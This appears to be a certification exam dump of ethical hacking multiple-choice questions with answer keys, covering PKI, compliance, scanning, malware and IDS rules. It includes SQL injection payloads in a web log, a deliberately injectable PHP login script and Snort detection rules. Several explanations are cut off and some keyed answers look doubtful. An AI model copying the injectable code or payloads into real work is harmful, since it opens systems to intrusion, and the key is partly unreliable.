A security administrator notices that the log file of the company's webserver contains suspicious entries:

```
\[20/Mar/2011:10:49:07\] "GET /login.php?user=test'+oR+3>2%20-- HTTP/1.1" 200 9958
\[20/Mar/2011:10:51:02\] "GET /login.php?user=admin';%20-- HTTP/1.1" 200 9978
```

The administrator decides to further investigate and analyze the source code of login.php file:

```
php
include('../config/db_connect.php');
$user = $_GET['user'];
$pass = $_GET['pass'];
$sql = "SELECT * FROM USERS WHERE username = '$user' AND password = '$pass'";
$result = mysql_query($sql) or die ("couldn't execute query");

if (mysql_num_rows($result) != 0 ) echo 'Authentication granted!';
else echo 'Authentication failed!';
?>
```

Based on source code analysis, the analyst concludes that the login.php script is vulnerable to

- A. command injection.
- B. SQL injection.
- C. directory traversal.
- D. LDAP injection.

**Answer:** B

**NEW QUESTION 259**

- (Exam Topic 2)

A pentester is using Metasploit to exploit an FTP server and pivot to a LAN. How will the pentester pivot using Metasploit?

- A. Issue the pivot exploit and set the meterpreter.
- B. Reconfigure the network settings in the meterpreter.
- C. Set the payload to propagate through the meterpreter.
- D. Create a route statement in the meterpreter.

**Answer:** D

**NEW QUESTION 260**

- (Exam Topic 3)

Which of the following describes a component of Public Key Infrastructure (PKI) where a copy of a private key is stored to provide third-party access and to facilitate recovery operations?

- A. Key registry
- B. Recovery agent
- C. Directory
- D. Key escrow

**Answer:** D

**NEW QUESTION 262**

- (Exam Topic 3)

Which of the following guidelines or standards is associated with the credit card industry?

- A. Control Objectives for Information and Related Technology (COBIT)
- B. Sarbanes-Oxley Act (SOX)
- C. Health Insurance Portability and Accountability Act (HIPAA)
- D. Payment Card Industry Data Security Standards (PCI DSS)

**Answer:** D

**NEW QUESTION 266**

- (Exam Topic 3)

The Open Web Application Security Project (OWASP) testing methodology addresses the need to secure web applications by providing which one of the following services?

- A. An extensible security framework named COBIT

- B. A list of flaws and how to fix them
- C. Web application patches
- D. A security certification for hardened web applications

**Answer: B**

**NEW QUESTION 268**

- (Exam Topic 3)

Which element of Public Key Infrastructure (PKI) verifies the applicant?

- A. Certificate authority
- B. Validation authority
- C. Registration authority
- D. Verification authority

**Answer: C**

**NEW QUESTION 272**

- (Exam Topic 3)

Which of the following is a common Service Oriented Architecture (SOA) vulnerability?

- A. Cross-site scripting
- B. SQL injection
- C. VPath injection
- D. XML denial of service issues

**Answer: D**

**NEW QUESTION 274**

- (Exam Topic 3)

To reduce the attack surface of a system, administrators should perform which of the following processes to remove unnecessary software, services, and insecure configuration settings?

- A. Harvesting
- B. Windowing
- C. Hardening
- D. Stealthing

**Answer: C**

**NEW QUESTION 278**

- (Exam Topic 3)

Which of the following algorithms provides better protection against brute force attacks by using a 160-bit message digest?

- A. MD5
- B. SHA-1
- C. RC4
- D. MD4

**Answer: B**

**NEW QUESTION 282**

- (Exam Topic 3)

Which of the following is a characteristic of Public Key Infrastructure (PKI)?

- A. Public-key cryptosystems are faster than symmetric-key cryptosystems.
- B. Public-key cryptosystems distribute public-keys within digital signatures.
- C. Public-key cryptosystems do not require a secure key distribution channel.
- D. Public-key cryptosystems do not provide technical non-repudiation via digital signatures.

**Answer: B**

**NEW QUESTION 283**

- (Exam Topic 3)

Which of the following defines the role of a root Certificate Authority (CA) in a Public Key Infrastructure (PKI)?

- A. The root CA is the recovery agent used to encrypt data when a user's certificate is lost.
- B. The root CA stores the user's hash value for safekeeping.
- C. The CA is the trusted root that issues certificates.
- D. The root CA is used to encrypt email messages to prevent unintended disclosure of data.

**Answer: C**

**NEW QUESTION 286**

- (Exam Topic 3)

Which of the following processes of PKI (Public Key Infrastructure) ensures that a trust relationship exists and that a certificate is still valid for specific operations?

- A. Certificate issuance
- B. Certificate validation
- C. Certificate cryptography
- D. Certificate revocation

**Answer: B**

**NEW QUESTION 290**

- (Exam Topic 3)

Which of the following levels of algorithms does Public Key Infrastructure (PKI) use?

- A. RSA 1024 bit strength
- B. AES 1024 bit strength
- C. RSA 512 bit strength
- D. AES 512 bit strength

**Answer: A**

**NEW QUESTION 291**

- (Exam Topic 3)

An attacker has captured a target file that is encrypted with public key cryptography. Which of the attacks below is likely to be used to crack the target file?

- A. Timing attack
- B. Replay attack
- C. Memory trade-off attack
- D. Chosen plain-text attack

**Answer: D**

**NEW QUESTION 292**

- (Exam Topic 3)

Which of the following ensures that updates to policies, procedures, and configurations are made in a controlled and documented fashion?

- A. Regulatory compliance
- B. Peer review
- C. Change management
- D. Penetration testing

**Answer: C**

**NEW QUESTION 296**

- (Exam Topic 3)

Which of the following is optimized for confidential communications, such as bidirectional voice and video?

- A. RC4
- B. RC5
- C. MD4
- D. MD5

**Answer: A**

**NEW QUESTION 299**

- (Exam Topic 3)

Employees in a company are no longer able to access Internet web sites on their computers. The network administrator is able to successfully ping IP address of web servers on the Internet and is able to open web sites by using an IP address in place of the URL. The administrator runs the nslookup command for www.eccouncil.org and receives an error message stating there is no response from the server. What should the administrator do next?

- A. Configure the firewall to allow traffic on TCP ports 53 and UDP port 53.
- B. Configure the firewall to allow traffic on TCP ports 80 and UDP port 443.
- C. Configure the firewall to allow traffic on TCP port 53.
- D. Configure the firewall to allow traffic on TCP port 8080.

**Answer: A**

**NEW QUESTION 300**

- (Exam Topic 3)

The intrusion detection system at a software development company suddenly generates multiple alerts regarding attacks against the company's external webserver, VPN concentrator, and DNS servers. What should the security team do to determine which alerts to check first?

- A. Investigate based on the maintenance schedule of the affected systems.
- B. Investigate based on the service level agreements of the systems.
- C. Investigate based on the potential effect of the incident.
- D. Investigate based on the order that the alerts arrived in.

**Answer: C**

**NEW QUESTION 302**

- (Exam Topic 3)

How do employers protect assets with security policies pertaining to employee surveillance activities?

- A. Employers promote monitoring activities of employees as long as the employees demonstrate trustworthiness.
- B. Employers use informal verbal communication channels to explain employee monitoring activities to employees.
- C. Employers use network surveillance to monitor employee email traffic, network access, and to record employee keystrokes.
- D. Employers provide employees written statements that clearly discuss the boundaries of monitoring activities and consequences.

**Answer: D**

**NEW QUESTION 307**

- (Exam Topic 3)

Which United States legislation mandates that the Chief Executive Officer (CEO) and the Chief Financial Officer (CFO) must sign statements verifying the completeness and accuracy of financial reports?

- A. Sarbanes-Oxley Act (SOX)
- B. Gramm-Leach-Bliley Act (GLBA)
- C. Fair and Accurate Credit Transactions Act (FACTA)
- D. Federal Information Security Management Act (FISMA)

**Answer: A**

**NEW QUESTION 310**

- (Exam Topic 3)

Which of the following items is unique to the N-tier architecture method of designing software applications?

- A. Application layers can be separated, allowing each layer to be upgraded independently from other layers.
- B. It is compatible with various databases including Access, Oracle, and SQL.
- C. Data security is tied into each layer and must be updated for all layers when any upgrade is performed.
- D. Application layers can be written in C, ASP.NET, or Delphi without any performance loss.

**Answer: A**

**NEW QUESTION 315**

- (Exam Topic 3)

What is the primary drawback to using advanced encryption standard (AES) algorithm with a 256 bit key to share sensitive data?

- A. Due to the key size, the time it will take to encrypt and decrypt the message hinders efficient communication.
- B. To get messaging programs to function with this algorithm requires complex configurations.
- C. It has been proven to be a weak cipher; therefore, should not be trusted to protect sensitive data.
- D. It is a symmetric key algorithm, meaning each recipient must receive the key through a different channel than the message.

**Answer: D**

**NEW QUESTION 319**

- (Exam Topic 3)

A network security administrator is worried about potential man-in-the-middle attacks when users access a corporate web site from their workstations. Which of the following is the best remediation against this type of attack?

- A. Implementing server-side PKI certificates for all connections
- B. Mandating only client-side PKI certificates for all connections
- C. Requiring client and server PKI certificates for all connections
- D. Requiring strong authentication for all DNS queries

**Answer: C**

**NEW QUESTION 320**

- (Exam Topic 3)

Which of the following is an example of IP spoofing?

- A. SQL injections
- B. Man-in-the-middle
- C. Cross-site scripting
- D. ARP poisoning

**Answer: B**

**NEW QUESTION 324**

- (Exam Topic 3)

When setting up a wireless network, an administrator enters a pre-shared key for security. Which of the following is true?

- A. The key entered is a symmetric key used to encrypt the wireless data.
- B. The key entered is a hash that is used to prove the integrity of the wireless data.
- C. The key entered is based on the Diffie-Hellman method.
- D. The key is an RSA key used to encrypt the wireless data.

Answer: A

**NEW QUESTION 327**

- (Exam Topic 4)

This international organization regulates billions of transactions daily and provides security guidelines to protect personally identifiable information (PII). These security controls provide a baseline and prevent low-level hackers sometimes known as script kiddies from causing a data breach. Which of the following organizations is being described?

- A. Payment Card Industry (PCI)
- B. Center for Disease Control (CDC)
- C. Institute of Electrical and Electronics Engineers (IEEE)
- D. International Security Industry Organization (ISIO)

Answer: A

**Explanation:**

The Payment Card Industry Data Security Standard (PCI DSS) is a proprietary information security standard for organizations that handle branded credit cards from the major card schemes including Visa, MasterCard, American Express, Discover, and JCB. The PCI DSS standards are very explicit about the requirements for the back end storage and access of PII (personally identifiable information).

References: [https://en.wikipedia.org/wiki/Payment\\_Card\\_Industry\\_Data\\_Security\\_Standard](https://en.wikipedia.org/wiki/Payment_Card_Industry_Data_Security_Standard)

**NEW QUESTION 330**

- (Exam Topic 4)

Which of the following is the least-likely physical characteristic to be used in biometric control that supports a large company?

- A. Height and Weight
- B. Voice
- C. Fingerprints
- D. Iris patterns

Answer: A

**Explanation:**

There are two main types of biometric identifiers:

Examples of physiological characteristics used for biometric authentication include fingerprints; DNA; face, hand, retina or ear features; and odor. Behavioral characteristics are related to the pattern of the behavior of a person, such as typing rhythm, gait, gestures and voice.

References:

<http://searchsecurity.techtarget.com/definition/biometrics>

**NEW QUESTION 335**

- (Exam Topic 4)

You've just been hired to perform a pen test on an organization that has been subjected to a large-scale attack. The CIO is concerned with mitigating threats and vulnerabilities to totally eliminate risk.

What is one of the first things you should do when given the job?

- A. Explain to the CIO that you cannot eliminate all risk, but you will be able to reduce risk to acceptable levels.
- B. Interview all employees in the company to rule out possible insider threats.
- C. Establish attribution to suspected attackers.
- D. Start the Wireshark application to start sniffing network traffic.

Answer: A

**Explanation:**

The goals of penetration tests are:

References: [https://en.wikipedia.org/wiki/Penetration\\_test](https://en.wikipedia.org/wiki/Penetration_test)

**NEW QUESTION 338**

- (Exam Topic 4)

Perspective clients want to see sample reports from previous penetration tests. What should you do next?

- A. Decline but, provide references.
- B. Share full reports, not redacted.
- C. Share full reports with redactions.
- D. Share reports, after NDA is signed.

Answer: A

**Explanation:**

Penetration tests data should not be disclosed to third parties.

**NEW QUESTION 339**

- (Exam Topic 4)

Which of the following is a component of a risk assessment?

- A. Administrative safeguards
- B. Physical security
- C. DMZ

D. Logical interface

**Answer:** A

**Explanation:**

Risk assessment include:

References: [https://en.wikipedia.org/wiki/IT\\_risk\\_management#Risk\\_assessment](https://en.wikipedia.org/wiki/IT_risk_management#Risk_assessment)

**NEW QUESTION 343**

- (Exam Topic 4)

It is a vulnerability in GNU's bash shell, discovered in September of 2014, that gives attackers access to run remote commands on a vulnerable system. The malicious software can take control of an infected machine, launch denial-of-service attacks to disrupt websites, and scan for other vulnerable devices (including routers).

Which of the following vulnerabilities is being described?

- A. Shellshock
- B. Rootshock
- C. Rootshell
- D. Shellbash

**Answer:** A

**Explanation:**

Shellshock, also known as Bashdoor, is a family of security bugs in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014.

References: [https://en.wikipedia.org/wiki/Shellshock\\_\(software\\_bug\)](https://en.wikipedia.org/wiki/Shellshock_(software_bug))

**NEW QUESTION 344**

- (Exam Topic 4)

Which of the following is an extremely common IDS evasion technique in the web world?

- A. unicode characters
- B. spyware
- C. port knocking
- D. subnetting

**Answer:** A

**Explanation:**

Unicode attacks can be effective against applications that understand it. Unicode is the international standard whose goal is to represent every character needed by every written human language as a single integer number. What is known as Unicode evasion should more correctly be referenced as UTF-8 evasion. Unicode characters are normally represented with two bytes, but this is impractical in real life.

One aspect of UTF-8 encoding causes problems: non-Unicode characters can be represented encoded. What is worse is multiple representations of each character can exist. Non-Unicode character encodings are known as overlong characters, and may be signs of attempted attack.

References:

<http://books.gigatux.nl/mirror/apacheseconomy/0596007248/apachesc-chp-10-sect-8.html>

**NEW QUESTION 349**

- (Exam Topic 4)

When you return to your desk after a lunch break, you notice a strange email in your inbox. The sender is someone you did business with recently, but the subject line has strange characters in it.

What should you do?

- A. Forward the message to your company's security response team and permanently delete the message from your computer.
- B. Reply to the sender and ask them for more information about the message contents.
- C. Delete the email and pretend nothing happened
- D. Forward the message to your supervisor and ask for her opinion on how to handle the situation

**Answer:** A

**Explanation:**

By setting up an email address for your users to forward any suspicious email to, the emails can be automatically scanned and replied to, with security incidents created to follow up on any emails with attached malware or links to known bad websites.

References:

[https://docs.servicenow.com/bundle/helsinki-security-management/page/product/threat-intelligence/task/t\\_Confi](https://docs.servicenow.com/bundle/helsinki-security-management/page/product/threat-intelligence/task/t_Confi)

**NEW QUESTION 354**

- (Exam Topic 4)

As a Certified Ethical Hacker, you were contracted by a private firm to conduct an external security assessment through penetration testing.

What document describes the specifics of the testing, the associated violations, and essentially protects both the organization's interest and your liabilities as a tester?

- A. Terms of Engagement
- B. Project Scope
- C. Non-Disclosure Agreement
- D. Service Level Agreement

**Answer:** A

#### NEW QUESTION 359

- (Exam Topic 4)

This asymmetry cipher is based on factoring the product of two large prime numbers. What cipher is described above?

- A. RSA
- B. SHA
- C. RC5
- D. MD5

**Answer:** A

#### Explanation:

RSA is based on the practical difficulty of factoring the product of two large prime numbers, the factoring problem.

Note: A user of RSA creates and then publishes a public key based on two large prime numbers, along with an auxiliary value. The prime numbers must be kept secret. Anyone can use the public key to encrypt a message, but with currently published methods, if the public key is large enough, only someone with knowledge of the prime numbers can feasibly decode the message.

References: [https://en.wikipedia.org/wiki/RSA\\_\(cryptosystem\)](https://en.wikipedia.org/wiki/RSA_(cryptosystem))

#### NEW QUESTION 361

- (Exam Topic 4)

Which of the following parameters describe LM Hash (see exhibit): Exhibit:

- I - The maximum password length is 14 characters.
- II - There are no distinctions between uppercase and lowercase.
- III - It's a simple algorithm, so 10,000,000 hashes can be generated per second.

- A. I, II, and III
- B. I
- C. II
- D. I and II

**Answer:** A

#### Explanation:

The LM hash is computed as follows:

1. The user's password is restricted to a maximum of fourteen characters.
2. The user's password is converted to uppercase. Etc.

14 character Windows passwords, which are stored with LM Hash, can be cracked in five seconds. References: [https://en.wikipedia.org/wiki/LM\\_hash](https://en.wikipedia.org/wiki/LM_hash)

#### NEW QUESTION 365

- (Exam Topic 4)

During a recent security assessment, you discover the organization has one Domain Name Server (DNS) in a Demilitarized Zone (DMZ) and a second DNS server on the internal network.

What is this type of DNS configuration commonly called?

- A. Split DNS
- B. DNSSEC
- C. DynDNS
- D. DNS Scheme

**Answer:** A

#### Explanation:

In a split DNS infrastructure, you create two zones for the same domain, one to be used by the internal network, the other used by the external network. Split DNS directs internal hosts to an internal domain name server for name resolution and external hosts are directed to an external domain name server for name resolution.

References:

[http://www.webopedia.com/TERM/S/split\\_DNS.html](http://www.webopedia.com/TERM/S/split_DNS.html)

#### NEW QUESTION 367

- (Exam Topic 4)

The Open Web Application Security Project (OWASP) is the worldwide not-for-profit charitable organization focused on improving the security of software. What item is the primary concern on OWASP's Top Ten Project Most Critical Web Application Security Risks?

- A. Injection
- B. Cross Site Scripting
- C. Cross Site Request Forgery
- D. Path disclosure

**Answer:** A

#### Explanation:

The top item of the OWASP 2013 OWASP's Top Ten Project Most Critical Web Application Security Risks is injection.

Injection flaws, such as SQL, OS, and LDAP injection occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.  
References: [https://www.owasp.org/index.php/Top\\_10\\_2013-Top\\_10](https://www.owasp.org/index.php/Top_10_2013-Top_10)

#### NEW QUESTION 369

- (Exam Topic 4)

Which regulation defines security and privacy controls for Federal information systems and organizations?

- A. NIST-800-53
- B. PCI-DSS
- C. EU Safe Harbor
- D. HIPAA

**Answer:** A

#### Explanation:

NIST Special Publication 800-53, "Security and Privacy Controls for Federal Information Systems and Organizations," provides a catalog of security controls for all U.S. federal information systems except those related to national security.  
References: [https://en.wikipedia.org/wiki/NIST\\_Special\\_Publication\\_800-53](https://en.wikipedia.org/wiki/NIST_Special_Publication_800-53)

#### NEW QUESTION 372

- (Exam Topic 4)

When you are testing a web application, it is very useful to employ a proxy tool to save every request and response. You can manually test every request and analyze the response to find vulnerabilities. You can test parameter and headers manually to get more precise results than if using web vulnerability scanners. What proxy tool will help you find web vulnerabilities?

- A. Burpsuite
- B. Maskgen
- C. Dimitry
- D. Proxychains

**Answer:** A

#### Explanation:

Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application's attack surface, through to finding and exploiting security vulnerabilities.  
References: <https://portswigger.net/burp/>

#### NEW QUESTION 377

- (Exam Topic 4)

After trying multiple exploits, you've gained root access to a Centos 6 server. To ensure you maintain access, what would you do first?

- A. Create User Account
- B. Disable Key Services
- C. Disable IPTables
- D. Download and Install Netcat

**Answer:** A

#### NEW QUESTION 380

- (Exam Topic 4)

Under the "Post-attack Phase and Activities", it is the responsibility of the tester to restore the systems to a pre-test state. Which of the following activities should not be included in this phase? (see exhibit) Exhibit:

- I. Removing all files uploaded on the system
- II. Cleaning all registry entries
- III. Mapping of network state
- IV. Removing all tools and maintaining backdoor for reporting

- A. III
- B. IV
- C. III and IV
- D. All should be included.

**Answer:** A

#### Explanation:

The post-attack phase revolves around returning any modified system(s) to the pretest state. Examples of such activities:  
References: Computer and Information Security Handbook, John R. Vacca (2012), page 531

#### NEW QUESTION 385

- (Exam Topic 4)

Which of the following is a command line packet analyzer similar to GUI-based Wireshark?

- A. tcpdump
- B. nessus
- C. etherea
- D. Jack the ripper

**Answer:** A

**Explanation:**

tcpdump is a common packet analyzer that runs under the command line. It allows the user to display TCP/IP and other packets being transmitted or received over a network to which the computer is attached. References: <https://en.wikipedia.org/wiki/Tcpdump>

**NEW QUESTION 390**

- (Exam Topic 4)

What is the process of logging, recording, and resolving events that take place in an organization?

- A. Incident Management Process
- B. Security Policy
- C. Internal Procedure
- D. Metrics

**Answer:** A

**Explanation:**

The activities within the incident management process include:  
 References: [https://en.wikipedia.org/wiki/Incident\\_management\\_\(ITSM\)#Incident\\_management\\_procedure](https://en.wikipedia.org/wiki/Incident_management_(ITSM)#Incident_management_procedure)

**NEW QUESTION 394**

- (Exam Topic 4)

Using Windows CMD, how would an attacker list all the shares to which the current user context has access?

- A. NET USE
- B. NET CONFIG
- C. NET FILE
- D. NET VIEW

**Answer:** A

**Explanation:**

Connects a computer to or disconnects a computer from a shared resource, or displays information about computer connections. The command also controls persistent net connections. Used without parameters, net use retrieves a list of network connections.  
 References: <https://technet.microsoft.com/en-us/library/bb490717.aspx>

**NEW QUESTION 398**

- (Exam Topic 4)

A penetration tester is conducting a port scan on a specific host. The tester found several ports opened that were confusing in concluding the Operating System (OS) version installed. Considering the NMAP result below, which of the following is likely to be installed on the target machine by the OS?

```
Starting NMAP 5.21 at 2011-03-15 11:06
NMAP scan report for 172.16.40.65
Host is up (1.00s latency).
Not shown: 993 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
23/tcp    open  telnet
80/tcp    open  http
139/tcp   open  netbios-ssn
515/tcp   open
631/tcp   open  ipp
9100/tcp  open
MAC Address: 00:00:48:0D:EE:89
```

- A. The host is likely a printer.
- B. The host is likely a Windows machine.
- C. The host is likely a Linux machine.
- D. The host is likely a router.

**Answer:** A

**Explanation:**

The Internet Printing Protocol (IPP) uses port 631.  
 References: [https://en.wikipedia.org/wiki/List\\_of\\_TCP\\_and\\_UDP\\_port\\_numbers](https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers)

#### NEW QUESTION 403

- (Exam Topic 4)

Jesse receives an email with an attachment labeled "Court\_Notice\_21206.zip". Inside the zip file is a file named "Court\_Notice\_21206.docx.exe" disguised as a word document. Upon execution, a window appears stating, "This word document is corrupt." In the background, the file copies itself to Jesse APPDATA\local directory and begins to beacon to a C2 server to download additional malicious binaries.

What type of malware has Jesse encountered?

- A. Trojan
- B. Worm
- C. Macro Virus
- D. Key-Logger

**Answer:** A

#### Explanation:

In computing, Trojan horse, or Trojan, is any malicious computer program which is used to hack into a computer by misleading users of its true intent. Although their payload can be anything, many modern forms act as a backdoor, contacting a controller which can then have unauthorized access to the affected computer. References: [https://en.wikipedia.org/wiki/Trojan\\_horse\\_\(computing\)](https://en.wikipedia.org/wiki/Trojan_horse_(computing))

#### NEW QUESTION 408

- (Exam Topic 4)

You just set up a security system in your network. In what kind of system would you find the following string of characters used as a rule within its configuration?  
alert tcp any any -> 192.168.100.0/24 21 (msg: "FTP on the network!");

- A. An Intrusion Detection System
- B. A firewall IPTable
- C. A Router IPTable
- D. FTP Server rule

**Answer:** A

#### Explanation:

Snort is an open source network intrusion detection system (NIDS) for networks . Snort rule example:

This example is a rule with a generator id of 1000001.

```
alert tcp any any -> any 80 (content:"BOB"; gid:1000001; sid:1; rev:1;)
```

References:

<http://manual-snort-org.s3-website-us-east-1.amazonaws.com/node31.html>

#### NEW QUESTION 411

- (Exam Topic 4)

It is a kind of malware (malicious software) that criminals install on your computer so they can lock it from a remote location. This malware generates a pop-up window, webpage, or email warning from what looks like an official authority. It explains that your computer has been locked because of possible illegal activities on it and demands payment before you can access your files and programs again.

Which of the following terms best matches the definition?

- A. Ransomware
- B. Adware
- C. Spyware
- D. Riskware

**Answer:** A

#### Explanation:

Ransomware is a type of malware that can be covertly installed on a computer without knowledge or intention of the user that restricts access to the infected computer system in some way, and demands that the user pay a ransom to the malware operators to remove the restriction. Some forms of ransomware systematically encrypt files on the system's hard drive, which become difficult or impossible to decrypt without paying the ransom for the encryption key, while some may simply lock the system and display messages intended to coax the user into paying. Ransomware typically propagates as a Trojan.

References: <https://en.wikipedia.org/wiki/Ransomware>

#### NEW QUESTION 412

- (Exam Topic 4)

It is a regulation that has a set of guidelines, which should be adhered to by anyone who handles any electronic medical data. These guidelines stipulate that all medical practices must ensure that all necessary measures are in place while saving, accessing, and sharing any electronic medical data to keep patient data secure.

Which of the following regulations best matches the description?

- A. HIPAA
- B. ISO/IEC 27002
- C. COBIT
- D. FISMA

**Answer:** A

#### Explanation:

The HIPAA Privacy Rule regulates the use and disclosure of Protected Health Information (PHI) held by "covered entities" (generally, health care clearinghouses, employer sponsored health plans, health insurers, and medical service providers that engage in certain transactions.) [15] By regulation, the Department of Health and Human Services extended the HIPAA privacy rule to independent contractors of covered entities who fit within the definition of "business associates".

References: [https://en.wikipedia.org/wiki/Health\\_Insurance\\_Portability\\_and\\_Accountability\\_Act#Privacy\\_Rule](https://en.wikipedia.org/wiki/Health_Insurance_Portability_and_Accountability_Act#Privacy_Rule)

#### NEW QUESTION 416

- (Exam Topic 4)

Port scanning can be used as part of a technical assessment to determine network vulnerabilities. The TCP XMAS scan is used to identify listening ports on the targeted system.

If a scanned port is open, what happens?

- A. The port will ignore the packets.
- B. The port will send an RST.
- C. The port will send an ACK.
- D. The port will send a SYN.

**Answer:** A

#### Explanation:

An attacker uses a TCP XMAS scan to determine if ports are closed on the target machine. This scan type is accomplished by sending TCP segments with the all flags sent in the packet header, generating packets that are illegal based on RFC 793. The RFC 793 expected behavior is that any TCP segment with an out-of-state Flag sent to an open port is discarded, whereas segments with out-of-state flags sent to closed ports should be handled with a RST in response. This behavior should allow an attacker to scan for closed ports by sending certain types of rule-breaking packets (out of sync or disallowed by the TCB) and detect closed ports via RST packets.

References: <https://capec.mitre.org/data/definitions/303.html>

#### NEW QUESTION 419

- (Exam Topic 4)

The network administrator contacts you and tells you that she noticed the temperature on the internal wireless router increases by more than 20% during weekend hours when the office was closed. She asks you to investigate the issue because she is busy dealing with a big conference and she doesn't have time to perform the task.

What tool can you use to view the network traffic being sent and received by the wireless router?

- A. Wireshark
- B. Nessus
- C. Netcat
- D. Netstat

**Answer:** A

#### Explanation:

Wireshark is a Free and open source packet analyzer. It is used for network troubleshooting, analysis, software and communications protocol development, and education.

#### NEW QUESTION 420

- (Exam Topic 4)

Your company was hired by a small healthcare provider to perform a technical assessment on the network. What is the best approach for discovering vulnerabilities on a Windows-based computer?

- A. Use a scan tool like Nessus
- B. Use the built-in Windows Update tool
- C. Check MITRE.org for the latest list of CVE findings
- D. Create a disk image of a clean Windows installation

**Answer:** A

#### Explanation:

Nessus is an open-source network vulnerability scanner that uses the Common Vulnerabilities and Exposures architecture for easy cross-linking between compliant security tools.

The Nessus server is currently available for Unix, Linux and FreeBSD. The client is available for Unix- or Windows-based operating systems.

Note: Significant capabilities of Nessus include: References: <http://searchnetworking.techtarget.com/definition/Nessus>

#### NEW QUESTION 425

- (Exam Topic 5)

A new wireless client is configured to join a 802.11 network. This client uses the same hardware and software as many of the other clients on the network. The client can see the network, but cannot connect. A wireless packet sniffer shows that the Wireless Access Point (WAP) is not responding to the association requests being sent by the wireless client.

What is a possible source of this problem?

- A. The WAP does not recognize the client's MAC address
- B. The client cannot see the SSID of the wireless network
- C. Client is configured for the wrong channel
- D. The wireless client is not configured to use DHCP

**Answer:** A

#### Explanation:

MAC Filtering (or GUI filtering, or layer 2 address filtering) refers to a security access control method whereby the 48-bit address assigned to each network card is used to determine access to the network. MAC Filtering is often used on wireless networks.

References: [https://en.wikipedia.org/wiki/MAC\\_filtering](https://en.wikipedia.org/wiki/MAC_filtering)

#### NEW QUESTION 429

- (Exam Topic 5)

The "black box testing" methodology enforces which kind of restriction?

- A. Only the external operation of a system is accessible to the tester.
- B. Only the internal operation of a system is known to the tester.
- C. The internal operation of a system is only partly accessible to the tester.
- D. The internal operation of a system is completely known to the tester.

**Answer:** A

**Explanation:**

Black-box testing is a method of software testing that examines the functionality of an application without peering into its internal structures or workings.  
References: [https://en.wikipedia.org/wiki/Black-box\\_testing](https://en.wikipedia.org/wiki/Black-box_testing)

**NEW QUESTION 433**

- (Exam Topic 5)

Which of the following areas is considered a strength of symmetric key cryptography when compared with asymmetric algorithms?

- A. Scalability
- B. Speed
- C. Key distribution
- D. Security

**Answer:** B

**NEW QUESTION 436**

- (Exam Topic 5)

Which of the following is a protocol specifically designed for transporting event messages?

- A. SYSLOG
- B. SMS
- C. SNMP
- D. ICMP

**Answer:** A

**Explanation:**

syslog is a standard for message logging. It permits separation of the software that generates messages, the system that stores them, and the software that reports and analyzes them. Each message is labeled with a facility code, indicating the software type generating the message, and assigned a severity label.  
References: [https://en.wikipedia.org/wiki/Syslog#Network\\_protocol](https://en.wikipedia.org/wiki/Syslog#Network_protocol)

**NEW QUESTION 439**

- (Exam Topic 5)

Which of the following is designed to identify malicious attempts to penetrate systems?

- A. Intrusion Detection System
- B. Firewall
- C. Proxy
- D. Router

**Answer:** A

**Explanation:**

An intrusion detection system (IDS) is a device or software application that monitors network or system activities for malicious activities or policy violations and produces electronic reports to a management station.  
References: [https://en.wikipedia.org/wiki/Intrusion\\_detection\\_system](https://en.wikipedia.org/wiki/Intrusion_detection_system)

**NEW QUESTION 440**

- (Exam Topic 5)

What is the way to decide how a packet will move from an untrusted outside host to a protected inside that is behind a firewall, which permits the hacker to determine which ports are open and if the packets can pass through the packet-filtering of the firewall?

- A. Firewalking
- B. Session hijacking
- C. Network sniffing
- D. Man-in-the-middle attack

**Answer:** A

**NEW QUESTION 442**

- (Exam Topic 5)

The company ABC recently discovered that their new product was released by the opposition before their premiere. They contract an investigator who discovered that the maid threw away papers with confidential information about the new product and the opposition found it in the garbage. What is the name of the technique used by the opposition?

- A. Hack attack
- B. Sniffing
- C. Dumpster diving
- D. Spying

**Answer:**

C

**NEW QUESTION 447**

- (Exam Topic 5)

What is the most common method to exploit the "Bash Bug" or "ShellShock" vulnerability?

- A. Through Web servers utilizing CGI (Common Gateway Interface) to send a malformed environment variable to a vulnerable Web server
- B. Manipulate format strings in text fields
- C. SSH
- D. SYN Flood

**Answer: A**

**Explanation:**

Shellshock, also known as Bashdoor, is a family of security bugs in the widely used Unix Bash shell. One specific exploitation vector of the Shellshock bug is CGI-based web servers.

Note: When a web server uses the Common Gateway Interface (CGI) to handle a document request, it passes various details of the request to a handler program in the environment variable list. For example, the variable HTTP\_USER\_AGENT has a value that, in normal usage, identifies the program sending the request. If the request handler is a Bash script, or if it executes one for example using the system call, Bash will receive the environment variables passed by the server and will process them. This provides a means for an attacker to trigger the Shellshock vulnerability with a specially crafted server request.

References: [https://en.wikipedia.org/wiki/Shellshock\\_\(software\\_bug\)#Specific\\_exploitation\\_vectors](https://en.wikipedia.org/wiki/Shellshock_(software_bug)#Specific_exploitation_vectors)

**NEW QUESTION 451**

- (Exam Topic 5)

An incident investigator asks to receive a copy of the event logs from all firewalls, proxy servers, and Intrusion Detection Systems (IDS) on the network of an organization that has experienced a possible breach of security. When the investigator attempts to correlate the information in all of the logs, the sequence of many of the logged events do not match up.

What is the most likely cause?

- A. The network devices are not all synchronized.
- B. Proper chain of custody was not observed while collecting the logs.
- C. The attacker altered or erased events from the logs.
- D. The security breach was a false positive.

**Answer: A**

**Explanation:**

Time synchronization is an important middleware service of distributed systems, amongst which Distributed Intrusion Detection System (DIDS) makes extensive use of time synchronization in particular.

References:

[http://ieeexplore.ieee.org/xpl/login.jsp?tp=&arnumber=5619315&url=http%3A%2F%2Fieeexplore.ieee.org%2Fxppls%2Fabs\\_all.jsp%3Farnumber%3D561](http://ieeexplore.ieee.org/xpl/login.jsp?tp=&arnumber=5619315&url=http%3A%2F%2Fieeexplore.ieee.org%2Fxppls%2Fabs_all.jsp%3Farnumber%3D561)

**NEW QUESTION 456**

- (Exam Topic 5)

The chance of a hard drive failure is once every three years. The cost to buy a new hard drive is \$300. It will require 10 hours to restore the OS and software to the new hard disk. It will require a further 4 hours to restore the database from the last backup to the new hard disk. The recovery person earns \$10/hour. Calculate the SLE, ARO, and ALE. Assume the EF = 1 (100%).

What is the closest approximate cost of this replacement and recovery operation per year?

- A. \$146
- B. \$1320
- C. \$440
- D. \$100

**Answer: A**

**Explanation:**

